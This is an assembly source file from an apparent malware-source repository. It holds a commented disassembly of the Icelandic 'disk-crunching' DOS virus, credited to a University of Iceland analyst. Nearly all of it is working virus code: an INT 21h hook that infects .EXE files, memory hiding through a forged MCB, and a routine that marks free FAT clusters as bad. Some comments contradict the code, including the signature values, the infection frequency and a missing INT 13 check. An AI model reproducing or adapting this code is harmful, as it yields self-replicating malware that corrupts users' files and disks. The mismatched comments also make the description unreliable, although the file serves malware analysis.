MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.saratoga.asm

549 lines
16 KiB
NASM
Raw Normal View History

2021-01-12 23:58:25 +00:00
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
; Another possible name for this virus might be "One-in-ten", since
; it tries to infect every tenth program run. The Icelandic name for
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
; It was first located at one site in mid-June '89. It has since then
; been found at a few other places, but is quite rare yet. So far it
; does not seem to have spread to any other country.
;
; Disassembly done in June/July '89.
;
; The author of this program is unknown, but it appears to be of
; Icelandic origin.
;
; All comments in this file were added by Fridrik Skulason,
; University of Iceland/Computing Services.
;
; INTERNET: frisk@rhi.hi.is
; UUCP: ...mcvax!hafro!rhi!frisk
; BIX: FRISK
;
; To anyone who obtains this file - please be careful with it, I
; would not like to see this virus be distributed too much. The code
; is very clear, and the virus is quite well written. It would be VERY
; easy to modify it to do something really harmful.
;
; A short description of the virus:
;
; It only infects .EXE files. Infected files grow by 656 to 671
; bytes, and the length of the infected file MOD 16 will always be 0.
; The virus attaches itself to the end of the programs it infects.
;
; When an infected file is run, the virus copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash.
;
; The virus does nothing if some other program has hooked INT 13
; before it is run. This is probably done to avoid detection by
; protection programs, but it also means that many ordinary
; programs like SideKick and disk cache software will disable it.
; Even the PRINT command will disable the virus. This reduces the
; spread of the virus, but also greatly reduces the possibility that
; the virus will be detected.
;
; The virus will hook INT 21H and when function 4B (EXEC) is called
; it sometimes will infect the program being run. It will check every
; tenth program that is run for infection, and if it is not already
; infected, it will be.
;
; The virus will remove the Read-Only attribute before trying to
; infect programs.
;
; Infected files can be easily recognized, since they always end in
; 4418,5F19.
;
; To check for system infection, a byte at 0:37F is used - if it
; contains FF the virus is installed in memory.
;
; This virus is slightly harmful, but does no serious damage.
; On floppy-only, or machines with 10Mbyte hard disks it will do
; no damage at all, but on machines with larger hard disks it will
; select one unused entry in the FAT table, and mark it as bad, when it
; infects a file. Since the virus only modifies the first copy of the
; FAT, a quick fix is simply to copy the second table over the first.
; This is the only "mistake" I have found in this virus. It appears
; to be very well written - What a shame the programmer did not use
; his abilities for something more constructive.
;
; This file was created in the following way: I wrote a small program,
; that did nothing but write "Hello world!" and ran it several times,
; until it became infected. I then diassembled the program, changed
; it into an .ASM file, and worked on it until this file, when
; assembled, produced the same file as the original infected one.
;
; (Or almost the same - the checksum in the header is different).
;
VIRSIZ EQU 128
ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
;
; This is the original program.
;
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
_START DB 0b4H,09H
PUSH CS
POP DS
MOV DX,OFFSET STRING
INT 21H
MOV AX,4C00H
INT 21H
STRING DB "This is an infected program!",0dh,0ah,"$"
_TEXT1 ENDS
_TEXT SEGMENT PARA PUBLIC 'CODE'
;
; The virus is basically divided in three parts.
;
; 1. The main program - run when an infected program is run.
; It will check if the system is already infected, and if not
; it will install the virus.
;
; 2. The new INT 21 handler. It will look for EXEC calls, and
; (sometimes) infect the program being run.
;
; 3. The damage routine. It will select one unused cluster and mark it
; as bad.
;
VIRUS PROC FAR
;
; This is a fake MCB
;
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
;
; The virus starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
LABIA: SUB SP,4
PUSH BP
MOV BP,SP
PUSH AX
MOV AX,ES
;
; Put the the original CS on the stack. The ADD AX,data instruction
; is modified by the virus when it infects other programs.
;
DB 05H
ORG_CS DW 0010H
MOV [BP+4],AX
;
; Put the the original IP on the stack. This MOV [BP+2],data instruction
; is modified by the virus when it infects other programs.
;
DB 0C7H,46H,02H
ORG_IP DW 0000H
;
; Save all registers that are modified.
;
PUSH ES
PUSH DS
PUSH BX
PUSH CX
PUSH SI
PUSH DI
;
; Check if already installed. Quit if so.
;
XOR AX,AX
MOV ES,AX
CMP ES:[37FH],BYTE PTR 0FFH
JNE L2
;
; Restore all registers and return to the original program.
;
EXIT: POP DI
POP SI
POP CX
POP BX
POP DS
POP ES
POP AX
POP BP
RET
;
; Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
; program is monitoring int 13, and quit.
;
;
; Set the installation flag, so infected programs run later will
; recognize the infection.
;
L2: MOV ES:[37FH],BYTE PTR 0FFH
;
; The virus tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; It looks rather weird, but it seems to work.
;
MOV AH,52H
INT 21H
MOV AX,ES:[BX-2]
MOV ES,AX
ADD AX,ES:[0003]
INC AX
INC AX
MOV CS:[0001],AX
;
; Next, the virus modifies the memory block of the infected program.
; It is made smaller, and no longer the last block.
;
MOV BX,DS
DEC BX
MOV DS,BX
MOV AL,'M'
MOV DS:[0000],AL
MOV AX,DS:[0003]
SUB AX,VIRSIZ
MOV DS:[0003],AX
ADD BX,AX
INC BX
;
; Then the virus moves itself to the new block. For some reason 2000
; bytes are transferred, when 651 would be enough. Maybe the author just
; wanted to leave room for future expansions.
;
MOV ES,BX
XOR SI,SI
XOR DI,DI
PUSH CS
POP DS
MOV CX,2000
CLD
REP MOVSB
;
; The virus then transfers control to the new copy of itself.
;
PUSH ES
MOV AX,OFFSET L3
PUSH AX
RET
;
; The main program modifies INT 21 next and finally returns to the
; original program. The original INT 21 vector is stored inside the
; program so a JMP [OLD INT21] instruction can be used.
;
L3: XOR AX,AX
MOV ES,AX
MOV AX,ES:[0084H]
MOV CS:[OLD21],AX
MOV AX,ES:[0086H]
MOV CS:[OLD21+2],AX
MOV AX,CS
MOV ES:[0086H],AX
MOV AX,OFFSET NEW21
MOV ES:[0084H],AX
JMP EXIT
VIRUS ENDP
;
; This is the INT 21 replacement. It only does something in the case
; of an EXEC call.
;
NEW21 PROC FAR
CMP AH,4BH
JE L5
L4: DB 0EAH
OLD21 DW 0,0
;
; Only attack every tenth program run.
;
L5: DEC CS:[COUNTER]
JNE L4
MOV CS:[COUNTER],2
;
; Save all affected registers.
;
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DS
;
; Search for the file name extension ...
;
MOV BX,DX
L6: INC BX
CMP BYTE PTR [BX],'.'
JE L8
CMP BYTE PTR [BX],0
JNE L6
;
; ... and quit unless it starts with "EX".
;
L7: POP DS
POP SI
POP DX
POP CX
POP BX
POP AX
JMP L4
L8: INC BX
CMP WORD PTR [BX],5845H
JNE L7
;
; When an .EXE file is found, the virus starts by turning off
; the read-only attribute. The read-only attribute is not restored
; when the file has been infected.
;
MOV AX,4300H ; Get attribute
INT 21H
JC L7
MOV AX,4301H ; Set attribute
AND CX,0FEH
INT 21H
JC L7
;
; Next, the file is examined to see if it is already infected.
; The signature (4418 5F19) is stored in the last two words.
;
MOV AX,3D02H ; Open / write access
INT 21H
JC L7
MOV BX,AX ; file handle in BX
PUSH CS ; now DS is no longer needed
POP DS
;
; The header of the file is read in at [ID+8]. The virus then
; modifies itself, according to the information stored in the
; header. (The original CS and IP addressed are stored).
;
MOV DX,OFFSET ID+8
MOV CX,1CH
MOV AH,3FH
INT 21H
JC L9
MOV AX,DS:ID[1CH]
MOV DS:[ORG_IP],AX
MOV AX,DS:ID[1EH]
ADD AX,10H
MOV DS:[ORG_CS],AX
;
; Next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. They are compared to the signature,
; and if equal nothing happens.
;
MOV AX,4202H
MOV CX,-1
MOV DX,-4
INT 21H
JC L9
ADD AX,4
MOV DS:[LEN_LO],AX
JNC L8A
INC DX
L8A: MOV DS:[LEN_HI],DX
MOV AH,3FH
MOV CX,4
MOV DX,OFFSET ID+4
INT 21H
JNC L11
L9: MOV AH,3EH
INT 21H
L10: JMP L7
;
; Compare to 4418,5F19
;
L11: MOV SI,OFFSET ID+4
MOV AX,[SI]
CMP AX,6F50H
JNE L12
MOV AX,[SI+2]
CMP AX,546FH
JE L9
;
; The file is not infected, so the next thing the virus does is
; infecting it. First it is padded so the length becomes a multiple
; of 16 bytes. Tis is probably done so the virus code can start at a
; paragraph boundary.
;
L12: MOV AX,DS:[LEN_LO]
AND AX,0FH
JZ L13
MOV CX,16
SUB CX,AX
ADD DS:[LEN_LO],CX
JNC L12A
INC DS:[LEN_HI]
L12A: MOV AH,40H
INT 21H
JC L9
;
; Next the main body of the virus is written to the end.
;
L13: XOR DX,DX
MOV CX,OFFSET ID + 4
MOV AH,40H
INT 21H
JC L9
;
; Next the .EXE file header is modified:
;
; First modify initial IP
;
MOV AX,OFFSET LABIA
MOV DS:ID[1CH],AX
;
; Modify starting CS = Virus CS. It is computed as:
;
; (Original length of file+padding)/16 - Start of load module
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SHR DX,1
RCR AX,1
SUB AX,DS:ID[10H]
MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
JC ENDIT
MOV AH,3EH
INT 21H
JNC DAMAGE
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
NEW21 ENDP
;
; The damage routine. As before noted, it will only do damage on
; systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
;
TEMP DW 0
;
; Start by getting some information about the current drive, like size
; of the FAT etc. Then compute the total number of sectors, and quit
; unless it is greater than 20740. This is probably done since larger
; disks use 16 bit FAT entries, instead of 12, which makes life easier
; for the programmer.
;
DAMAGE: MOV AH,32H
MOV DL,0
INT 21H
CMP AL,0FFH
JE L21
XOR AX,AX
MOV AL,[BX+4]
INC AX
MOV CS:[TEMP],AX
MOV AX,[BX+0DH]
DEC AX
MUL CS:[TEMP]
ADD AX,[BX+0BH]
JNC L15A
INC DX
L15A: CMP DX,0
JNE L15B
CMP AX,20740
JBE L21
;
; Check if DOS version is 4.0 or greater. If so, use a 16 bit value
; for numbers of sectors in the FAT, otherwise use a 8 bit entry.
L15B: PUSH BX
MOV AH,30H
INT 21H
POP BX
CMP AL,4
JAE L15
XOR AX,AX
MOV AL,[BX+0FH]
JMP SHORT L16
L15: MOV AX,[BX+0FH]
L16: ADD AX,[BX+6]
DEC AX
MOV DX,AX
MOV AL,[BX]
;
; Read the last sector in the first copy of the FAT. Search backwards
; for an unused entry. If none is found, read the sector before that
; and so on. If no free entry is found on the entire disk then quit.
;
L20: MOV CX,1
MOV BX,OFFSET ID+4
PUSH CS
POP DS
PUSH AX
PUSH DX
INT 25H
POPF
JC L21
POP DX
POP AX
MOV SI,510
L17: MOV BX,DS:[ID+4+SI]
CMP BX,0000
JE L19
CMP SI,0000
JE L18
DEC SI
DEC SI
JMP L17
L18: DEC DX
CMP DX,8
JE L21
JMP L20
;
; A free entry has been found. Make it look like a bad cluster, by
; changing the 0000 value to FFF7.
;
L19: MOV DS:[ID+4+SI],0FFF7H
MOV CX,1
MOV BX,OFFSET ID+4
INT 26H
POPF
L21: JMP L7
COUNTER DB 2
LEN_LO DW ?
LEN_HI DW ?
ID DW 6F50H,546FH ; The signature of the virus.
;
; A buffer, used for data from the file.
;
_TEXT ENDS
END LABIA